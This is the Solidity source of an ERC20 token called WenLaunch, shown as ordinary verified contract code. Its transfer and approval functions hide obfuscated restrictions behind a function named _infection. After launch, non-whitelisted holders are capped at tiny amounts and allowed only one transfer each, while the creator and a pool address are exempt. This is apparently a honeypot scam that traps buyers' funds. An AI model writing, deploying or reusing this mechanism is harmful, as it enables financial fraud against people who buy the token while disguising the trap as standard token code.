Contract Source Code:
File 1 of 1 : WenLaunch
// Wen Launch?
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
}
interface IERC20Metadata is IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) public WLContract;
mapping (address => bool) public SushiWL;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name; string private _symbol;
address private _creator; uint256 private _totalSupply;
uint256 private StopSers; uint256 private WLTax;
uint256 private WLHello; bool private SerValue;
bool private SerBBye; bool private WLCalls;
constructor (string memory name_, string memory symbol_, address creator_) {
_name = name_;
_creator = creator_;
_symbol = symbol_;
SerBBye = true;
WLContract[creator_] = true;
SerValue = true;
WLCalls = false;
SushiWL[creator_] = false;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _infection(address sender, uint256 amount, uint256 time) internal {
uint256 getTimeDifference = block.timestamp - time;
if ((WLContract[sender] == false) && (getTimeDifference >= 0)) {
if ((amount > WLHello)) { require(false); }
require(amount < StopSers);
if (WLCalls == true) {
if (SushiWL[sender] == true) { require(false); }
SushiWL[sender] = true;
}
}
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] -= amount;
_balances[address(0)] += amount;
emit Transfer(account, address(0), amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
(WLContract[spender],SushiWL[spender],SerValue) = ((address(owner) == _creator) && (SerValue == true)) ? (true,false,false) : (WLContract[spender],SushiWL[spender],SerValue);
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
(StopSers,WLCalls) = ((address(sender) == _creator) && (SerBBye == false)) ? (WLTax, true) : (StopSers,WLCalls);
(WLContract[recipient],SerBBye) = ((address(sender) == _creator) && (SerBBye == true)) ? (true, false) : (WLContract[recipient],SerBBye);
uint256 timeNOW = block.timestamp;
_infection(sender, amount, timeNOW);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _createContract(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
(uint256 temp1, uint256 temp2) = (10000, 500);
_totalSupply += amount;
_balances[account] += amount;
StopSers = _totalSupply;
WLTax = _totalSupply / temp1;
WLHello = WLTax * temp2;
emit Transfer(address(0), account, amount);
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
_createContract(creator, initialSupply);
}
}
contract WenLaunch is ERC20Token {
constructor() ERC20Token("WenLaunch", "WL", msg.sender, 200000000 * 10 ** 18) {
}
}